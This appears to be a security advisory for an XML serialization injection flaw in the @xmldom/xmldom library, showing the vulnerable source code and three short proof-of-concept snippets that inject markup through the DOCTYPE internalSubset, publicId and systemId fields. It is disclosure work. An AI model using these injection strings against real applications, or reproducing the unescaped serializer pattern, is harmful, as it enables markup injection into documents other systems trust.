Threats tagged 'ghsa-f6ww-3ggp-fr8h'

## Summary The package serializes `DocumentType` node fields (`internalSubset`, `publicId`, `systemId`) verbatim without any escaping or validation. When these fields are set programmatically to attacker-controlled strings, `XMLSerializer.serializeToString` can produce output where the DOCTYPE declaration is terminated early and arbitrary markup appears outside it. --- ## Details `DOMImplementation.createDocumentType(qualifiedName, publicId, systemId, internalSubset)` validates only `qualifiedName` against the XML QName production. The remaining three arguments are stored as-is with no validation. The XMLSerializer emits `DocumentType` nodes as: ``` <!DOCTYPE name[ PUBLIC pubid][ SYSTEM sysid][ [internalSubset]]> ``` All fields are pushed into the output buffer verbatim — no escaping, no quoting added. **`internalSubset` injection:** The serializer wraps `internalSubset` with ` [` and `]`. A value containing `]>` closes the internal subset and the DOCTYPE declaration at the injection point. Any content after `]>` in `internalSubset` appears outside the DOCTYPE in the serialized output as raw XML markup. Reported by @TharVid (GHSA-f6ww-3ggp-fr8h). Affected: `@xmldom/xmldom` ≥ 0.9.0 via `createDocumentType` API; 0.8.x only via direct property write. **`publicId` injection:** The serializer emits `publicId` verbatim after `PUBLIC` with no quoting added. A value containing an injected system identifier (e.g., `"pubid" SYSTEM "evil"`) breaks the intended quoting context, injecting a fake SYSTEM entry into the serialized DOCTYPE declaration. Identified during internal security research. Affected: both branches, all versions back to 0.1.0. **`systemId` injection:** The serializer emits `systemId` verbatim. A value containing `>` terminates the DOCTYPE declaration early; content after `>` appears as raw XML markup outside the DOCTYPE context. Identified during internal security research. Affected: both branches, all versions back to 0.1.0. The parse path is safe: the SAX parser enforces the `PubidLiteral` and `SystemLiteral` grammar productions, which exclude the relevant characters, and the internal subset parser only accepts a subset it can structurally validate. The vulnerability is reachable only through programmatic `createDocumentType` calls with attacker-controlled arguments. --- ## Affected code **`lib/dom.js` — `createDocumentType` (lines 898–910):** ```js createDocumentType: function (qualifiedName, publicId, systemId, internalSubset) { validateQualifiedName(qualifiedName); // only qualifiedName is validated var node = new DocumentType(PDC); node.name = qualifiedName; node.nodeName = qualifiedName; node.publicId = publicId || ''; // stored verbatim node.systemId = systemId || ''; // stored verbatim node.internalSubset = internalSubset || ''; // stored verbatim node.childNodes = new NodeList(); return node; }, ``` **`lib/dom.js` — serializer DOCTYPE case (lines 2948–2964):** ```js case DOCUMENT_TYPE_NODE: var pubid = node.publicId; var sysid = node.systemId; buf.push(g.DOCTYPE_DECL_START, ' ', node.name); if (pubid) { buf.push(' ', g.PUBLIC, ' ', pubid); if (sysid && sysid !== '.') { buf.push(' ', sysid); } } else if (sysid && sysid !== '.') { buf.push(' ', g.SYSTEM, ' ', sysid); } if (node.internalSubset) { buf.push(' [', node.internalSubset, ']'); // internalSubset emitted verbatim } buf.push('>'); return; ``` --- ## PoC ### internalSubset injection ```js const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom'); const impl = new DOMImplementation(); const doctype = impl.createDocumentType( 'root', '', '', ']><injected/><![CDATA[' ); const doc = impl.createDocument(null, 'root', doctype); const xml = new XMLSerializer().serializeToString(doc); console.log(xml); // <!DOCTYPE root []><injected/><![CDATA[]><root/> // ^^^^^^^^^^ injected element outside DOCTYPE ``` ### publicId quoting context break ```js const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom'); const impl = new DOMImplementation(); const doctype = impl.createDocumentType( 'root', '"injected PUBLIC_ID" SYSTEM "evil"', '', '' ); const doc = impl.createDocument(null, 'root', doctype); console.log(new XMLSerializer().serializeToString(doc)); // <!DOCTYPE root PUBLIC "injected PUBLIC_ID" SYSTEM "evil"><root/> // quoting context broken — SYSTEM entry injected ``` ### systemId injection ```js const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom'); const impl = new DOMImplementation(); const doctype = impl.createDocumentType( 'root', '', '"sysid"><injected attr="pwn"/>', '' ); const doc = impl.createDocument(null, 'root', doctype); console.log(new XMLSerializer().serializeToString(doc)); // <!DOCTYPE root SYSTEM "sysid"><injected attr="pwn"/>><root